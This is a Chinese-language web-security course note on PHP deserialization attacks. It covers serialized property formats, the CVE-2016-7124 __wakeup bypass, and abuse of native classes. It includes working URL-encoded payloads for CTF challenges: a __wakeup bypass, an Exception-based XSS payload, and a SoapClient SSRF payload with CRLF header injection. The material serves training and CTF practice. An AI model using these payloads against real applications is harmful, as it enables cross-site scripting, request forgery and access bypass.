061-WEB攻防-PHP反序列化&原生类TIPS&CVE绕过漏洞&属性类型特征
知识点
1、PHP-反序列化-属性类型&显示特征
2、PHP-反序列化-CVE绕过&字符串逃逸
3、PHP-反序列化-原生类生成&利用&配合
1、PHP-反序列化-属性类型&显示特征
1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
序列化数据演示
<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{public $name="xiaodi";private $age="29";protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
var_dump(unserialize($a));
2、PHP-反序列化-CVE绕过&字符串逃逸
CVE-2016-7124(__wakeup:unserialize()时会被自动调用)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
案例演示:CVE-2016-7124 __wakeup绕过
__wakeup():会在反序列化后调用
- 一旦用到了unserialize __wakeup函数将会被调用
//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo "__construct被调用!<br>";}public function __wakeup(){echo "__wakeup()被调用<br>";}public function __destruct(){echo "__destruct()被调用<br>";}
}$t = new Test('xiaodi','31','gay');
echo serialize($t),"<br>";
unserialize($_GET['x']);
?>
绕过__wakeu:修改属性数量即可
- 生成反序列化字符串
O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}<br>
- 传入字符串修改里面的属性数量 将4改为5
- 绕过成功
class Test
{public $sex;public $name;public $age;
}$t=new Test();
echo serialize($t);
[极客大挑战 2019]PHP
网址:https://buuoj.cn/
- 根据提示 此网站下面有个备份文件 在url 后面加上 www.zip 下载
-
打开class.php文件 查看代码可知当username=== admin的时候 就输出flag 这个条件的调用是在__destruct里面的 触发这个魔术方法
-
查看index.php文件 可以看到这里用了unserialize反序列化select传入的参数
-
但是在class.php里面有个
__ wakeup
在魔术方法里面 比__destruct
先一步调用 所以我们这里要想办法 绕过__wakeup
-
修改参数 达成代码所需条件进行反序列化 再进行url编码
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
-
查看漏洞是否在漏洞区间 5.3.3存在漏洞区间
-
修改位数 使够找payload使得对象属性个数的值大于真实属性个数时会跳过__wakeup执行
O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
class Name
{private $username = 'admin';private $password = '100';
}$n = serialize(new name());
echo urlencode($n);
字符串逃逸
字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php
3、PHP-反序列化-原生类生成&利用&配合
参考案例:https://www.anquanke.com/post/id/264823
原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。
PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的
-
先看触发的魔术方法
-
没写魔术方法调用逻辑代码
-
使用魔术方法的原生类去利用
-
获取魔术方法的原生类(脚本生成 多少和当前环境的模块开关)
-
利用魔术方法内置的类 pop修改内置值 行成攻击
生成原生类脚本代码:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array('__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}
}
原生类生成
-
可以看到我的原生类是在c 盘下面的 找到这个目录打开php.ini 查找里面的原生类开关
-
我这里的soap是没有打开的 将;去掉再运行
-
可以看到多了三个原生类
实战是不知道对方的原生类开关开没开 可以在本地多生成一些原声类 生成的原生类多一些利用的机会也就多一些
原生类利用
- 可以将我们的原生类复制到官网上查看如何使用 这里以Exception::__toString为例 写了说明和使用方法
简单案例-本地代码
- 我们使用Exception生成一个带有xss的异常消息 用序列化在用url编码构造我们的payload
- 打开我们的本地文件xssdemo.php内容如下
- 这里是用k传参将我们的payload复制上去 弹出我们的xiaodi
为什么没有写 __toString()
方法却仍然可以触发它?
- 使用的类(如
Exception
)内置实现了__toString()
方法,即使你自己没有写,它在类内部已经定义好了。 - PHP 对象在被
echo
时自动调用__toString()
在 PHP 中,当你对一个对象使用echo
或print
,PHP 会自动尝试调用该对象的魔术方法__toString()
。 - Exception 类内部实现了
__toString()
虽然Exception
类没有__toString()
方法,但它实现了__toString()
接口(可以输出 message 等信息),所以: - 由于构造函数中传入了你控制的字符串(比如
<script>alert("x")</script>
),这些字符串最终也出现在__toString()
的返回值中,就被输出到页面上,从而触发了 XSS。
echo $a;
实际上等效于:
echo $a->__toString();
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A32%3A%22%3Cscript%3Ealert%28%27xiaodi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A38%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cdemo01%5Cpop%5Cpop.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A65%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
$a = new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
CTFSHOW-Web259
-
这里将传过来的接受的参数进行反序列化 调用了一个不存在的方法getFlag()
-
调用不存在的方法触发__call(因为getflag方法是不存在的,所以调用该魔术方法)
-
这关代码提示显示 要求token==ctfshow 并且ip地址要为127.0.0.1 所以我们使用ssrf去通关
-
无代码通过原生类SoapClient(只生成_call方法的原生类)
-
构造pop链 传入 再访问flag.txt
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22ceshi%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
<?php $ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));echo urlencode(serialize($client)); ?>